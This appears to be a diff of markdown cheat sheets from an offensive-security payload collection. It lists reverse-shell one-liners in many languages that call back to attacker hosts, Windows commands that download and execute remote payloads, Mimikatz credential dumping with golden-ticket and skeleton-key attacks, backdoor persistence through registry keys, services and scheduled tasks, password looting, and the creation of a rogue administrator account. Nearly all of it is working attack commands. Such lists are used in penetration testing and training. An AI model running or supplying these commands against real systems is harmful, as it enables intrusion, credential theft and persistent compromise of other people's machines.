perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
@ -31,16 +33,19 @@ perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen(
``` ```
### Python ### Python
```python ```python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
``` ```
### PHP ### PHP
```bash ```bash
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
``` ```
### Ruby ### Ruby
```ruby ```ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
@ -50,24 +55,27 @@ NOTE: Windows only
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
``` ```
### Netcat Traditional ### Netcat Traditional
```bash ```bash
nc -e /bin/sh [IPADDR] [PORT] nc -e /bin/sh [IPADDR] [PORT]
``` ```
### Netcat OpenBsd ### Netcat OpenBsd
```bash ```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
``` ```
### Ncat ### Ncat
```bash ```bash
ncat 127.0.0.1 4444 -e /bin/bash ncat 127.0.0.1 4444 -e /bin/bash
ncat --udp 127.0.0.1 4444 -e /bin/bash ncat --udp 127.0.0.1 4444 -e /bin/bash
``` ```
### Powershell ### Powershell
```powershell ```powershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
``` ```
@ -76,12 +84,12 @@ powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sock
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
``` ```
```powershell ```powershell
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1') powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
``` ```
### Java ### Java
```java ```java
r = Runtime.getRuntime() r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
@ -89,6 +97,7 @@ p.waitFor()
``` ```
### NodeJS ### NodeJS
```javascript ```javascript
(function(){ (function(){
var net = require("net"), var net = require("net"),
@ -104,33 +113,36 @@ p.waitFor()
})(); })();
or or
require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]') require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
or or
-var x = global.process.mainModule.require -var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash') -x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
``` ```
### Groovy - by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) ### Groovy - by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76)
NOTE: Java reverse shell also work for Groovy
```javascript ```javascript
String host="localhost"; String host="localhost";
int port=8044; int port=8044;
String cmd="cmd.exe"; String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
``` ```
NOTE: Java reverse shell also work for Groovy
## Spawn TTY ## Spawn TTY
```
```bash
/bin/sh -i /bin/sh -i
``` ```
(From an interpreter) (From an interpreter)
```
```powershell
python -c 'import pty; pty.spawn("/bin/sh")' python -c 'import pty; pty.spawn("/bin/sh")'
perl -e 'exec "/bin/sh";' perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh"; perl: exec "/bin/sh";
@ -139,25 +151,29 @@ lua: os.execute('/bin/sh')
``` ```
Access shortcuts, su, nano and autocomplete in a partially tty shell Access shortcuts, su, nano and autocomplete in a partially tty shell
``` /!\ OhMyZSH might break this trick
```powershell
ctrl+z ctrl+z
stty raw -echo stty raw -echo
fg fg
``` ```
/!\ OhMyZSH might break this trick
(From within vi) (From within vi)
```
```bash
:!bash :!bash
:set shell=/bin/bash:shell :set shell=/bin/bash:shell
``` ```
(From within nmap) (From within nmap)
```
```sh
!sh !sh
``` ```
## Thanks to ## Thanks to
* [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner) * [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner)
* [Pentest Monkey - Cheat Sheet Reverse shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) * [Pentest Monkey - Cheat Sheet Reverse shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
* [Spawning a TTY Shell](http://netsec.ws/?p=337) * [Spawning a TTY Shell](http://netsec.ws/?p=337)

View File

@ -1,89 +1,99 @@
# Windows - Download and execute methods # Windows - Download and execute methods
## Downloaded files location ## Downloaded files location
- C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\ - C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
- C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir> - C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>
- C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV - C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
## Powershell ## Powershell
From an HTTP server From an HTTP server
```
```powershell
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex" powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
``` ```
From a Webdav server From a Webdav server
```
```powershell
powershell -exec bypass -f \\webdavserver\folder\payload.ps1 powershell -exec bypass -f \\webdavserver\folder\payload.ps1
``` ```
## Cmd ## Cmd
```
```powershell
cmd.exe /k < \\webdavserver\folder\batchfile.txt cmd.exe /k < \\webdavserver\folder\batchfile.txt
``` ```
## Cscript / Wscript ## Cscript / Wscript
```
```powershell
cscript //E:jscript \\webdavserver\folder\payload.txt cscript //E:jscript \\webdavserver\folder\payload.txt
``` ```
## Mshta ## Mshta
```
```powershell
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
``` ```
``` ```powershell
mshta http://webserver/payload.hta mshta http://webserver/payload.hta
``` ```
``` ```powershell
mshta \\webdavserver\folder\payload.hta mshta \\webdavserver\folder\payload.hta
``` ```
## Rundll32 ## Rundll32
```
```powershell
rundll32 \\webdavserver\folder\payload.dll,entrypoint rundll32 \\webdavserver\folder\payload.dll,entrypoint
``` ```
``` ```powershell
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
``` ```
## Regasm / Regsvc @subTee ## Regasm / Regsvc @subTee
```
```powershell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
``` ```
## Regsvr32 @subTee ## Regsvr32 @subTee
```
```powershell
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
``` ```
``` ```powershell
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
``` ```
## Odbcconf ## Odbcconf
```
```powershell
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
``` ```
## Msbuild ## Msbuild
```
```powershell
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
``` ```
## Certutil ## Certutil
```
```powershell
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
``` ```
``` ```powershell
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
``` ```
## Thanks to ## Thanks to
* [arno0x0x - Windows oneliners to download remote payload and execute arbitrary code](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [arno0x0x - Windows oneliners to download remote payload and execute arbitrary code](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

View File

@ -3,12 +3,15 @@
![Data in memory](http://adsecurity.org/wp-content/uploads/2014/11/Delpy-CredentialDataChart.png) ![Data in memory](http://adsecurity.org/wp-content/uploads/2014/11/Delpy-CredentialDataChart.png)
## Mimikatz basic ## Mimikatz basic
Only one command Only one command
```bash ```bash
PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
``` ```
Mimikatz console (multiple commands) Mimikatz console (multiple commands)
```bash ```bash
PS C:\temp\mimikatz> .\mimikatz PS C:\temp\mimikatz> .\mimikatz
mimikatz # privilege::debug mimikatz # privilege::debug
@ -20,14 +23,16 @@ mimikatz_command -f sekurlsa::wdigest
``` ```
Mimikatz Golden ticket Mimikatz Golden ticket
```
```powershell
.\mimikatz kerberos::golden /admin:ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt .\mimikatz kerberos::golden /admin:ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt
.\mimikatz "kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit .\mimikatz "kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit
``` ```
Mimikatz Skeleton key Mimikatz Skeleton key
```
```powershell
privilege::debug privilege::debug
misc::skeleton misc::skeleton
@ -37,8 +42,8 @@ net use p: \\WIN-PTELU2U07KG\admin$ /user:john mimikatz
rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab
``` ```
## Mimikatz commands ## Mimikatz commands
| Command |Definition| | Command |Definition|
|:----------------:|:---------------| |:----------------:|:---------------|
| CRYPTO::Certificates|list/export certificates| | CRYPTO::Certificates|list/export certificates|
@ -64,16 +69,18 @@ rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab
|TOKEN::Elevate | impersonate a token. Used to elevate permissions to SYSTEM (default) or find a domain admin token on the box| |TOKEN::Elevate | impersonate a token. Used to elevate permissions to SYSTEM (default) or find a domain admin token on the box|
|TOKEN::Elevate /domainadmin | impersonate a token with Domain Admin credentials. |TOKEN::Elevate /domainadmin | impersonate a token with Domain Admin credentials.
## Powershell Mimikatz ## Powershell Mimikatz
Mimikatz in memory (no binary on disk) with : Mimikatz in memory (no binary on disk) with :
- [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1) from PowerShellEmpire
- [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1) from PowerSploit - [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1) from PowerShellEmpire
- [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1) from PowerSploit
More informations can be grabbed from the Memory with : More informations can be grabbed from the Memory with :
- [Invoke-Mimikittenz](https://raw.githubusercontent.com/putterpanda/mimikittenz/master/Invoke-mimikittenz.ps1)
- [Invoke-Mimikittenz](https://raw.githubusercontent.com/putterpanda/mimikittenz/master/Invoke-mimikittenz.ps1)
## Thanks to ## Thanks to
* [Unofficial Guide to Mimikatz & Command Reference](https://adsecurity.org/?page_id=1821)
* [Skeleton Key](https://pentestlab.blog/2018/04/10/skeleton-key/) - [Unofficial Guide to Mimikatz & Command Reference](https://adsecurity.org/?page_id=1821)
- [Skeleton Key](https://pentestlab.blog/2018/04/10/skeleton-key/)

View File

@ -3,21 +3,26 @@
## Userland ## Userland
### Registry ### Registry
Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows. Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.
```
```powershell
Value name: Backdoor Value name: Backdoor
Value data: C:\Users\Rasta\AppData\Local\Temp\backdoor.exe Value data: C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
``` ```
### Startup ### Startup
Create a batch script in the user startup folder. Create a batch script in the user startup folder.
```
```powershell
PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
``` ```
### Scheduled Task ### Scheduled Task
```
```powershell
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe" PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta" PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta" PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
@ -26,25 +31,30 @@ PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D PS C:\> Register-ScheduledTask Backdoor -InputObject $D
``` ```
## Elevated ## Elevated
### HKLM ### HKLM
Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows. Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.
```
```powershell
Value name: Backdoor Value name: Backdoor
Value data: C:\Windows\Temp\backdoor.exe Value data: C:\Windows\Temp\backdoor.exe
``` ```
### Services ### Services
Create a service that will start automatically or on-demand. Create a service that will start automatically or on-demand.
```
```powershell
PS C:\> New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here." PS C:\> New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here."
``` ```
### Scheduled Tasks ### Scheduled Tasks
Scheduled Task to run as SYSTEM, everyday at 9am. Scheduled Task to run as SYSTEM, everyday at 9am.
```
```powershell
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Temp\backdoor.exe" PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -Daily -At 9am PS C:\> $T = New-ScheduledTaskTrigger -Daily -At 9am
PS C:\> $P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest PS C:\> $P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
@ -53,7 +63,7 @@ PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D PS C:\> Register-ScheduledTask Backdoor -InputObject $D
``` ```
## Thanks to ## Thanks to
* [A view of persistence - Rastamouse](https://rastamouse.me/2018/03/a-view-of-persistence/)
* [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md) * [A view of persistence - Rastamouse](https://rastamouse.me/2018/03/a-view-of-persistence/)
* [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md)

View File

@ -1,24 +1,27 @@
# Windows - Privilege Escalation # Windows - Privilege Escalation
Almost all of the following commands are from [The Open Source Windows Privilege Escalation Cheat Sheet](https://addaxsoft.com/wpecs/) Almost all of the following commands are from [The Open Source Windows Privilege Escalation Cheat Sheet](https://addaxsoft.com/wpecs/)
## Windows Version and Configuration ## Windows Version and Configuration
```powershell ```powershell
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
``` ```
Architecture Architecture
```powershell ```powershell
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
``` ```
List all env variables List all env variables
```powershell ```powershell
set set
``` ```
List all drives List all drives
```powershell ```powershell
wmic logicaldisk get caption || fsutil fsinfo drives wmic logicaldisk get caption || fsutil fsinfo drives
``` ```
@ -26,22 +29,26 @@ wmic logicaldisk get caption || fsutil fsinfo drives
## User Enumeration ## User Enumeration
Get current username Get current username
```powershell ```powershell
echo %USERNAME% || whoami echo %USERNAME% || whoami
``` ```
List all users List all users
```powershell ```powershell
net user net user
whoami /all whoami /all
``` ```
List logon requirements; useable for bruteforcing List logon requirements; useable for bruteforcing
```powershell ```powershell
net accounts net accounts
``` ```
Get details about a user (i.e. administrator, admin, current user) Get details about a user (i.e. administrator, admin, current user)
```powershell ```powershell
net user administrator net user administrator
net user admin net user admin
@ -49,11 +56,13 @@ net user %USERNAME%
``` ```
List all local groups List all local groups
```powershell ```powershell
net localgroup net localgroup
``` ```
Get details about a group (i.e. administrators) Get details about a group (i.e. administrators)
```powershell ```powershell
net localgroup administrators net localgroup administrators
``` ```
@ -61,31 +70,37 @@ net localgroup administrators
## Network Enumeration ## Network Enumeration
List all network interfaces List all network interfaces
```powershell ```powershell
ipconfig /all ipconfig /all
``` ```
List current routing table List current routing table
```powershell ```powershell
route print route print
``` ```
List the ARP table List the ARP table
```powershell ```powershell
arp -A arp -A
``` ```
List all current connections List all current connections
```powershell ```powershell
netstat -ano netstat -ano
``` ```
List firware state and current configuration List firware state and current configuration
```powershell ```powershell
netsh advfirewall firewall dump netsh advfirewall firewall dump
``` ```
List all network shares List all network shares
```powershell ```powershell
net share net share
``` ```
@ -93,28 +108,34 @@ net share
## Looting for passwords ## Looting for passwords
### Search for file contents** ### Search for file contents**
```powershell ```powershell
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
``` ```
### Search for a file with a certain filename ### Search for a file with a certain filename
```powershell ```powershell
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
``` ```
### Search the registry for key names ### Search the registry for key names
```powershell ```powershell
REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K
``` ```
### Read a value of a certain sub key ### Read a value of a certain sub key
```powershell ```powershell
REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList
``` ```
### Password in unattend.xml ### Password in unattend.xml
Location of the unattend.xml files Location of the unattend.xml files
```powershell ```powershell
C:\unattend.xml C:\unattend.xml
C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend.xml
@ -124,12 +145,13 @@ C:\Windows\system32\sysprep\sysprep.xml
``` ```
Example content Example content
```powershell ```powershell
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64"> <component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon> <AutoLogon>
<Password>*SENSITIVE*DATA*DELETED*</Password> <Password>*SENSITIVE*DATA*DELETED*</Password>
<Enabled>true</Enabled> <Enabled>true</Enabled>
<Username>Administrateur</Username> <Username>Administrateur</Username>
</AutoLogon> </AutoLogon>
<UserAccounts> <UserAccounts>
@ -142,47 +164,57 @@ Example content
</LocalAccounts> </LocalAccounts>
</UserAccounts> </UserAccounts>
``` ```
The Metasploit module `post/windows/gather/enum_unattend` looks for these files. The Metasploit module `post/windows/gather/enum_unattend` looks for these files.
## Processes Enum ## Processes Enum
What processes are running? What processes are running?
```powershell ```powershell
tasklist /v tasklist /v
``` ```
Which processes are running as "system" Which processes are running as "system"
```powershell ```powershell
tasklist /v /fi "username eq system" tasklist /v /fi "username eq system"
``` ```
Do you have powershell magic? Do you have powershell magic?
```powershell ```powershell
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
``` ```
## Uploading / Downloading files ## Uploading / Downloading files
a wget using powershell a wget using powershell
```powershell ```powershell
powershell -Noninteractive -NoProfile -command "wget https://addaxsoft.com/download/wpecs/wget.exe -UseBasicParsing -OutFile %TEMP%\wget.exe" powershell -Noninteractive -NoProfile -command "wget https://addaxsoft.com/download/wpecs/wget.exe -UseBasicParsing -OutFile %TEMP%\wget.exe"
``` ```
wget using bitsadmin (when powershell is not present) wget using bitsadmin (when powershell is not present)
```powershell ```powershell
cmd /c "bitsadmin /transfer myjob /download /priority high https://addaxsoft.com/download/wpecs/wget.exe %TEMP%\wget.exe" cmd /c "bitsadmin /transfer myjob /download /priority high https://addaxsoft.com/download/wpecs/wget.exe %TEMP%\wget.exe"
``` ```
now you have wget.exe that can be executed from %TEMP%wget for example I will use it here to download netcat now you have wget.exe that can be executed from %TEMP%wget for example I will use it here to download netcat
```powershell ```powershell
%TEMP%\wget https://addaxsoft.com/download/wpecs/nc.exe %TEMP%\wget https://addaxsoft.com/download/wpecs/nc.exe
``` ```
## Spot the weak service using PowerSploit's PowerUP ## Spot the weak service using PowerSploit's PowerUP
```powershell ```powershell
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
``` ```
## Thanks to ## Thanks to
* [The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte](https://addaxsoft.com/wpecs/) * [The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte](https://addaxsoft.com/wpecs/)
* [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) * [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
* [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html) * [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html)

View File

@ -1,25 +1,30 @@
# Windows - Using credentials # Windows - Using credentials
## TIP 1 - Create your credential :D ## TIP 1 - Create your credential :D
```powershell ```powershell
net user hacker hacker /add net user hacker hacker /add
net localgroup administrators hacker /add net localgroup administrators hacker /add
``` ```
Some info about your user Some info about your user
```powershell ```powershell
net user /dom net user /dom
net user /domain net user /domain
``` ```
